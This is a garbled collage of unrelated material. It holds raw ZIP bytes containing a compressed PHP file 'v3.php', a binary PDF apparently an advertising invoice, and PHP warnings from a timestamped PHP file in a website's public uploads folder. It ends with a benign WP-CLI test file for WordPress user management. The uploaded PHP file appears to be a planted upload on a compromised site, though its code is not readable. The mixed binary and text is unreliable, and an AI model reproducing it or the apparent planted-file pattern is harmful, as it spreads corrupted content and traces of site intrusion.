PK���ȼRY��������€��� �v3.phpUT �øŽg‰gñ“gux �õ��õ��½T]kÛ0}߯pEhìâÙM7X‰çv%”v0֐µ{)Aå:6S$!ÉMJèߕ?R÷!>lO¶tÏ=ç~êë¥*”—W‚ÙR OÃhþÀXl5ØJ ÿñ¾¹K^•æi‡#ëLÇÏ_ ÒËõçX²èY[:ŽÇFY[  ÿD. çI™û…Mi¬ñ;ª¡AO+$£–x™ƒ Øîü¿±ŒsZÐÔQô ]+ÊíüÓ:‚ãã½ú¶%åºb¨{¦¤Ó1@V¤ûBëSúA²Ö§ ‘0|5Ì­Ä[«+èUsƒ ôˆh2àr‡z_¥(Ùv§ÈĂï§EÖý‰ÆypBS¯·8Y­è,eRX¨Ö¡’œqéF²;¿¼?Ø?Lš6` dšikR•¡™âÑo†e«ƒi´áŽáqXHc‡óðü4€ÖBÖÌ%ütÚ$š+T”•MÉÍõ½G¢ž¯Êl1œGÄ»½¿ŸÆ£h¤I6JÉ-òŽß©ˆôP)Ô9½‰+‘Κ¯uiÁi‡ˆ‰i0J ép˜¬‹’ƒ”ƒlÂÃø:s”æØ�S{ŽÎαÐ]å÷:y°Q¿>©å{x<ŽæïíNCþÑ.Mf?¨«2ý}=ûõýî'=£§ÿu•Ü(—¾IIa­"éþ@¶�¿ä9?^-qìÇÞôvŠeÈc ðlacã®xèÄ'®âd¶ çˆSEæódP/ÍÆv{Ô)Ó ?>…V¼—óÞÇlŸÒMó¤®ðdM·ÀyƱϝÚÛTÒ´6[xʸO./p~["M[`…ôÈõìn6‹Hòâ]^|ø PKýBvây��€��PK���ȼRY��������°���� �__MACOSX/._v3.phpUT �øŽg‰gþ“gux �õ��õ��c`cg`b`ðMLVðVˆP€'qƒøˆŽ!!AP&HÇ %PDF-1.7 1 0 obj << /Type /Catalog /Outlines 2 0 R /Pages 3 0 R >> endobj 2 0 obj << /Type /Outlines /Count 0 >> endobj 3 0 obj << /Type /Pages /Kids [6 0 R ] /Count 1 /Resources << /ProcSet 4 0 R /Font << /F1 8 0 R /F2 9 0 R >> >> /MediaBox [0.000 0.000 595.280 841.890] >> endobj 4 0 obj [/PDF /Text ] endobj 5 0 obj << /Producer (���d�o�m�p�d�f� �2�.�0�.�8� �+� �C�P�D�F) /CreationDate (D:20241129143806+00'00') /ModDate (D:20241129143806+00'00') /Title (���A�d�s�T�e�r�r�a�.�c�o�m� �i�n�v�o�i�c�e) >> endobj 6 0 obj << /Type /Page /MediaBox [0.000 0.000 595.280 841.890] /Parent 3 0 R /Contents 7 0 R >> endobj 7 0 obj << /Filter /FlateDecode /Length 904 >> stream x���]o�J���+F�ͩ����su\ �08=ʩzရ���lS��lc� "Ց� ���wޙ�%�R�DS��� �OI�a`� �Q�f��5����_���םO�`�7�_FA���D�Џ.j�a=�j����>��n���R+�P��l�rH�{0��w��0��=W�2D ����G���I�>�_B3ed�H�yJ�G>/��ywy�fk��%�$�2.��d_�h����&)b0��"[\B��*_.��Y� ��<�2���fC�YQ&y�i�tQ�"xj����+���l�����'�i"�,�ҔH�AK��9��C���&Oa�Q � jɭ��� �p _���E�ie9�ƃ%H&��,`rDxS�ޔ!�(�X!v ��]{ݛx�e�`�p�&��'�q�9 F�i���W1in��F�O�����Zs��[gQT�؉����}��q^upLɪ:B"��؝�����*Tiu(S�r]��s�.��s9n�N!K!L�M�?�*[��N�8��c��ۯ�b�� ��� �YZ���SR3�n�����lPN��P�;��^�]�!'�z-���ӊ���/��껣��4�l(M�E�QL��X ��~���G��M|�����*��~�;/=N4�-|y�`�i�\�e�T�<���L��G}�"В�J^���q��"X�?(V�ߣXۆ{��H[����P�� �c���kc�Z�9v�����? �a��R�h|��^�k�D4W���?Iӊ�]<��4�)$wdat���~�����������|�L��x�p|N�*��E� �/4�Qpi�x.>��d����,M�y|4^�Ż��8S/޾���uQe���D�y� ��ͧH�����j�wX � �&z� endstream endobj 8 0 obj << /Type /Font /Subtype /Type1 /Name /F1 /BaseFont /Helvetica /Encoding /WinAnsiEncoding >> endobj 9 0 obj << /Type /Font /Subtype /Type1 /Name /F2 /BaseFont /Helvetica-Bold /Encoding /WinAnsiEncoding >> endobj xref 0 10 0000000000 65535 f 0000000009 00000 n 0000000074 00000 n 0000000120 00000 n 0000000284 00000 n 0000000313 00000 n 0000000514 00000 n 0000000617 00000 n 0000001593 00000 n 0000001700 00000 n trailer << /Size 10 /Root 1 0 R /Info 5 0 R /ID[] >> startxref 1812 %%EOF
Warning: Cannot modify header information - headers already sent by (output started at /home/u866776246/domains/wisatalogung.com/public_html/uploads/produk/1775157541_x.php:1) in /home/u866776246/domains/wisatalogung.com/public_html/uploads/produk/1775157541_x.php on line 128

Warning: Cannot modify header information - headers already sent by (output started at /home/u866776246/domains/wisatalogung.com/public_html/uploads/produk/1775157541_x.php:1) in /home/u866776246/domains/wisatalogung.com/public_html/uploads/produk/1775157541_x.php on line 129

Warning: Cannot modify header information - headers already sent by (output started at /home/u866776246/domains/wisatalogung.com/public_html/uploads/produk/1775157541_x.php:1) in /home/u866776246/domains/wisatalogung.com/public_html/uploads/produk/1775157541_x.php on line 130

Warning: Cannot modify header information - headers already sent by (output started at /home/u866776246/domains/wisatalogung.com/public_html/uploads/produk/1775157541_x.php:1) in /home/u866776246/domains/wisatalogung.com/public_html/uploads/produk/1775157541_x.php on line 131
Feature: Manage WordPress users Scenario: User CRUD operations Given a WP install When I try `wp user get bogus-user` Then the return code should be 1 And STDOUT should be empty When I run `wp user create testuser2 testuser2@example.com --first_name=test --last_name=user --role=author --porcelain` Then STDOUT should be a number And save STDOUT as {USER_ID} When I run `wp user get {USER_ID}` Then STDOUT should be a table containing rows: | Field | Value | | ID | {USER_ID} | | roles | author | When I run `wp user exists {USER_ID}` Then STDOUT should be: """ Success: User with ID {USER_ID} exists. """ And the return code should be 0 When I try `wp user exists 1000` Then STDOUT should be empty And the return code should be 1 When I run `wp user get {USER_ID} --field=user_registered` Then STDOUT should not contain: """ 0000-00-00 00:00:00 """ When I run `wp user meta get {USER_ID} first_name` Then STDOUT should be: """ test """ When I run `wp user list --fields=user_login,roles` Then STDOUT should be a table containing rows: | user_login | roles | | testuser2 | author | When I run `wp user meta get {USER_ID} last_name` Then STDOUT should be: """ user """ When I run `wp user delete {USER_ID} --yes` Then STDOUT should not be empty When I try `wp user create testuser2 testuser2@example.com --role=wrongrole --porcelain` Then the return code should be 1 And STDOUT should be empty When I run `wp user create testuser testuser@example.com --porcelain` Then STDOUT should be a number And save STDOUT as {USER_ID} When I try the previous command again Then the return code should be 1 When I run `wp user update {USER_ID} --display_name=Foo` And I run `wp user get {USER_ID}` Then STDOUT should be a table containing rows: | Field | Value | | ID | {USER_ID} | | display_name | Foo | When I run `wp user get testuser@example.com` Then STDOUT should be a table containing rows: | Field | Value | | ID | {USER_ID} | | display_name | Foo | When I run `wp user delete {USER_ID} --yes` Then STDOUT should not be empty When I run `wp user create testuser3 testuser3@example.com --user_pass=testuser3pass` Then STDOUT should not contain: """ Password: """ # Check with valid password. When I run `wp user check-password testuser3 testuser3pass` Then the return code should be 0 # Check with invalid password. When I try `wp user check-password testuser3 invalidpass` Then the return code should be 1 When I try `wp user check-password invaliduser randomstring` Then STDERR should contain: """ Invalid user ID, email or login: 'invaliduser' """ And the return code should be 1 When I run `wp user create testuser3b testuser3b@example.com --user_pass="test\"user3b's\pass\!"` Then STDOUT should not contain: """ Password: """ # Check password without the `--escape-chars` option. When I try `wp user check-password testuser3b "test\"user3b's\pass\!"` Then STDERR should be: """ Warning: Password contains characters that need to be escaped. Please escape them manually or use the `--escape-chars` option. """ And the return code should be 1 # Check password with the `--escape-chars` option. When I try `wp user check-password testuser3b "test\"user3b's\pass\!" --escape-chars` Then the return code should be 0 # Check password with manually escaped characters. When I try `wp user check-password testuser3b "test\\\"user3b\'s\\\pass\\\!"` Then the return code should be 0 Scenario: Reassigning user posts Given a WP multisite install When I run `wp user create bobjones bob@example.com --role=author --porcelain` Then save STDOUT as {BOB_ID} When I run `wp user create sally sally@example.com --role=editor --porcelain` Then save STDOUT as {SALLY_ID} When I run `wp post generate --count=3 --post_author=bobjones` And I run `wp post list --author={BOB_ID} --format=count` Then STDOUT should be: """ 3 """ When I run `wp user delete bobjones --reassign={SALLY_ID}` And I run `wp post list --author={SALLY_ID} --format=count` Then STDOUT should be: """ 3 """ When I try `wp user update 9999 --user_pass=securepassword` Then the return code should be 1 And STDERR should contain: """ Error: No valid users found. """ Scenario: Delete user with invalid reassign Given a WP install And a session_no file: """ n """ And a session_yes file: """ y """ When I run `wp user create bobjones bob@example.com --role=author --porcelain` Then save STDOUT as {BOB_ID} When I run `wp post list --format=count` Then save STDOUT as {TOTAL_POSTS} When I run `wp post generate --count=3 --format=ids --post_author=bobjones` And I run `wp post list --author={BOB_ID} --format=count` Then STDOUT should be: """ 3 """ When I run `wp user delete bobjones < session_no` Then STDOUT should contain: """ --reassign parameter not passed. All associated posts will be deleted. Proceed? [y/n] """ When I run `wp user delete bobjones --reassign=99999 < session_no` Then STDOUT should contain: """ --reassign parameter is invalid. All associated posts will be deleted. Proceed? [y/n] """ When I run `wp user delete bobjones < session_yes` And I run `wp post list --format=count` Then STDOUT should be: """ {TOTAL_POSTS} """ Scenario: Deleting user from the whole network Given a WP multisite install When I run `wp user create bobjones bob@example.com --role=author --porcelain` Then save STDOUT as {BOB_ID} When I run `wp user get bobjones` Then STDOUT should not be empty When I run `wp user delete bobjones --network --yes` Then STDOUT should not be empty When I try `wp user get bobjones` Then STDERR should not be empty And the return code should be 1 Scenario: Trying to delete existing user with no roles from a subsite Given a WP multisite install When I run `wp user create bobjones bob@example.com --role=author --url=https://example.com --porcelain` Then save STDOUT as {BOB_ID} When I run `wp user delete bobjones --yes` Then STDOUT should contain: """ Success: Removed user """ And STDERR should be empty When I try `wp user delete bobjones --yes` Then STDERR should be: """ Warning: No roles found for user {BOB_ID} on https://example.com, no users deleted. """ And the return code should be 1 @require-wp-4.0 Scenario: Trying to delete super admin Given a WP multisite install When I run `wp user create bobjones bob@example.com --role=author --porcelain` Then save STDOUT as {BOB_ID} When I run `wp super-admin add {BOB_ID}` And I try `wp user delete bobjones --network --yes` Then STDERR should be: """ Warning: Failed deleting user {BOB_ID}. The user is a super admin. """ And the return code should be 1 Scenario: Create new users on multisite Given a WP multisite install When I try `wp user create bob-jones bobjones@example.com` Then STDERR should contain: """ lowercase letters (a-z) and numbers """ And the return code should be 1 When I run `wp user create bobjones bobjones@example.com --display_name="Bob Jones"` Then STDOUT should not be empty When I run `wp user get bobjones --field=display_name` Then STDOUT should be: """ Bob Jones """ Scenario: Managing user roles Given a WP install When I try `wp user add-role 1` Then the return code should be 1 And STDERR should be: """ Error: Please specify at least one role to add. """ And STDOUT should be empty When I run `wp user add-role 1 editor` Then STDOUT should be: """ Success: Added 'editor' role for admin (1). """ When I run `wp user get 1 --field=roles` Then STDOUT should be: """ administrator, editor """ When I run `wp user add-role 1 editor contributor` Then STDOUT should be: """ Success: Added 'editor', 'contributor' roles for admin (1). """ When I run `wp user get 1 --field=roles` Then STDOUT should be: """ administrator, editor, contributor """ When I run `wp user remove-role 1 editor contributor` Then STDOUT should be: """ Success: Removed 'editor', 'contributor' roles from admin (1). """ When I run `wp user get 1 --field=roles` Then STDOUT should be: """ administrator """ When I try `wp user add-role 1 edit` Then STDERR should contain: """ Role doesn't exist """ And the return code should be 1 When I try `wp user set-role 1 edit` Then STDERR should contain: """ Role doesn't exist """ And the return code should be 1 When I try `wp user remove-role 1 edit` Then STDERR should contain: """ Role doesn't exist """ And the return code should be 1 When I run `wp user set-role 1 author` Then STDOUT should not be empty When I run `wp user get 1` Then STDOUT should be a table containing rows: | Field | Value | | roles | author | When I run `wp user remove-role 1 editor` Then STDOUT should not be empty When I run `wp user get 1` Then STDOUT should be a table containing rows: | Field | Value | | roles | author | When I run `wp user remove-role 1` Then STDOUT should not be empty When I run `wp user get 1` Then STDOUT should be a table containing rows: | Field | Value | | roles | | Scenario: Invalid User Role Given a WP install When I run `wp user create testuser4 testemail4@example.com` And I try `wp user update testuser4 --role=banana` Then STDERR should be: """ Warning: Role doesn't exist: banana """ And STDOUT should contain: """ Success: """ And the return code should be 0 When I run `wp user get admin --field=roles` Then STDOUT should be: """ administrator """ Scenario: Managing user capabilities Given a WP install When I run `wp user add-cap 1 edit_vip_product` Then STDOUT should be: """ Success: Added 'edit_vip_product' capability for admin (1). """ When I run `wp user list-caps 1 | tail -n 1` Then STDOUT should be: """ edit_vip_product """ When I run `wp user remove-cap 1 edit_vip_product` Then STDOUT should be: """ Success: Removed 'edit_vip_product' cap for admin (1). """ When I try the previous command again Then the return code should be 1 And STDERR should be: """ Error: No such 'edit_vip_product' cap for admin (1). """ And STDOUT should be empty When I run `wp user list-caps 1` Then STDOUT should not contain: """ edit_vip_product """ And STDOUT should contain: """ publish_posts """ When I try `wp user remove-cap 1 publish_posts` Then the return code should be 1 And STDERR should be: """ Error: The 'publish_posts' cap for admin (1) is inherited from a role. """ And STDOUT should be empty When I run `wp user list-caps 1` Then STDOUT should contain: """ publish_posts """ Scenario: Show error when trying to remove capability same as role Given a WP install When I run `wp user create testuser2 testuser2@example.com --first_name=test --last_name=user --role=contributor --porcelain` Then STDOUT should be a number And save STDOUT as {USER_ID} When I run `wp user list-caps {USER_ID}` Then STDOUT should contain: """ contributor """ When I run `wp user get {USER_ID} --field=roles` Then STDOUT should contain: """ contributor """ When I try `wp user remove-cap {USER_ID} contributor` Then the return code should be 1 And STDERR should be: """ Error: Aborting because a role has the same name as 'contributor'. Use `wp user remove-cap {USER_ID} contributor --force` to proceed with the removal. """ And STDOUT should be empty When I run `wp user remove-cap {USER_ID} contributor --force` Then STDOUT should be: """ Success: Removed 'contributor' cap for testuser2 ({USER_ID}). """ Scenario: Show password when creating a user Given a WP install When I run `wp user create testrandompass testrandompass@example.com` Then STDOUT should contain: """ Password: """ When I run `wp user create testsuppliedpass testsuppliedpass@example.com --user_pass=suppliedpass` Then STDOUT should not contain: """ Password: """ Scenario: List network users Given a WP multisite install When I run `wp user create testsubscriber testsubscriber@example.com` Then STDOUT should contain: """ Success: Created user """ When I run `wp user list --field=user_login` Then STDOUT should contain: """ testsubscriber """ When I run `wp user delete testsubscriber --yes` Then STDOUT should contain: """ Success: Removed user """ When I run `wp user list --field=user_login` Then STDOUT should not contain: """ testsubscriber """ When I run `wp user list --field=user_login --network` Then STDOUT should contain: """ testsubscriber """ Scenario: Listing user capabilities Given a WP install When I run `wp user create bob bob@gmail.com --role=contributor` And I run `wp user list-caps bob` Then STDOUT should be: """ edit_posts read level_1 level_0 delete_posts contributor """ When I run `wp user list-caps bob --format=json` Then STDOUT should be: """ [{"name":"edit_posts"},{"name":"read"},{"name":"level_1"},{"name":"level_0"},{"name":"delete_posts"},{"name":"contributor"}] """ When I run `wp user list-caps bob --format=count` Then STDOUT should be: """ 6 """ When I run `wp user list-caps bob --exclude-role-names` Then STDOUT should be: """ edit_posts read level_1 level_0 delete_posts """ When I run `wp user add-cap bob newcap` And I run `wp user list-caps bob --origin=role` Then STDOUT should be: """ edit_posts read level_1 level_0 delete_posts contributor """ When I run `wp user list-caps bob --origin=user` Then STDOUT should be: """ newcap """ Scenario: Make sure WordPress receives the slashed data it expects Given a WP install When I run `wp user create slasheduser slasheduser@example.com --display_name='My\User' --porcelain` Then save STDOUT as {USER_ID} When I run `wp user get {USER_ID} --field=display_name` Then STDOUT should be: """ My\User """ When I run `wp user update {USER_ID} --display_name='My\New\User'` Then STDOUT should not be empty When I run `wp user get {USER_ID} --field=display_name` Then STDOUT should be: """ My\New\User """ Scenario: Don't send user creation emails by default Given a WP multisite install When I run `wp user create testuser2 testuser2@example.com` Then an email should not be sent When I run `wp user create testuser3 testuser3@example.com --send-email` Then an email should be sent Scenario: List URLs of one or more users Given a WP install And I run `wp user create bob bob@gmail.com --role=contributor` When I run `wp user list --include=1,2 --field=url` Then STDOUT should be: """ https://example.com/?author=1 https://example.com/?author=2 """ Scenario: Get user with email as login Given a WP install And I run `wp user create testuser4@example.com testemail4@example.com` When I run `wp user get testemail4@example.com --field=user_login` Then STDOUT should be: """ testuser4@example.com """ When I run `wp user get testuser4@example.com --field=user_login` Then STDOUT should be: """ testuser4@example.com """ Scenario: Mark/remove a user from spam Given a WP multisite install And I run `wp user create bumblebee bbee@example.com --role=author --porcelain` And save STDOUT as {BBEE_ID} And I run `wp user create oprime oprime@example.com --role=author --porcelain` And save STDOUT as {OP_ID} And I run `wp user get bumblebee` And STDOUT should not be empty And I run `wp user get oprime` And STDOUT should not be empty When I run `wp site create --slug=foo --porcelain` Then save STDOUT as {SPAM_SITE_ID} When I run `wp --url=example.com/foo user set-role {BBEE_ID} administrator` Then STDOUT should contain: """ Success: """ When I run `wp user spam {BBEE_ID}` Then STDOUT should be: """ User {BBEE_ID} marked as spam. Success: Spammed 1 of 1 users. """ When I try the previous command again Then STDERR should be: """ Warning: User {BBEE_ID} already marked as spam. """ And STDOUT should be: """ Success: User already spammed. """ And the return code should be 0 When I run `wp site list --site__in=1 --field=spam` Then STDOUT should be: """ 0 """ When I run `wp site list --site__in={SPAM_SITE_ID} --field=spam` Then STDOUT should be: """ 1 """ When I try `wp user spam {OP_ID} 9999` Then STDOUT should be: """ User {OP_ID} marked as spam. """ And STDERR should be: """ Warning: Invalid user ID, email or login: '9999' Error: Only spammed 1 of 2 users. """ And the return code should be 1 When I run `wp user unspam {BBEE_ID}` Then STDOUT should contain: """ Success: """ When I run `wp site list --site__in=1 --field=spam` Then STDOUT should be: """ 0 """ When I run `wp site list --site__in={SPAM_SITE_ID} --field=spam` Then STDOUT should be: """ 0 """ @require-wp-4.3 Scenario: Sending emails on update Given a WP install When I run `wp user get 1 --field=user_email` Then save STDOUT as {ORIGINAL_EMAIL} When I run `wp user update 1 --user_email=different.mail@example.com` Then STDOUT should contain: """ Success: Updated user 1. """ And an email should be sent When I run `wp user update 1 --user_email={ORIGINAL_EMAIL} --skip-email` Then STDOUT should contain: """ Success: Updated user 1. """ And an email should not be sent When I run `wp user get 1 --field=user_pass` Then save STDOUT as {ORIGINAL_PASSWORD} When I run `wp user update 1 --user_pass=different_password` Then STDOUT should contain: """ Success: Updated user 1. """ And an email should be sent When I run `wp user update 1 --user_pass={ORIGINAL_PASSWORD} --skip-email` Then STDOUT should contain: """ Success: Updated user 1. """ And an email should not be sent Scenario: Set user url when creating a user Given a WP install And I run `wp user create testurl sample@email.com --user_url='http://www.testsite.com'` When I run `wp user get testurl --fields=user_url` Then STDOUT should be a table containing rows: | Field | Value | | user_url | http://www.testsite.com | Scenario: Support nickname creating and updating user Given a WP install When I run `wp user create testuser testuser@example.com --nickname=customtestuser --porcelain` Then STDOUT should be a number And save STDOUT as {USER_ID} When I run `wp user meta get {USER_ID} nickname` Then STDOUT should be: """ customtestuser """ When I run `wp user update {USER_ID} --nickname=newtestuser` And I run `wp user meta get {USER_ID} nickname` Then STDOUT should be: """ newtestuser """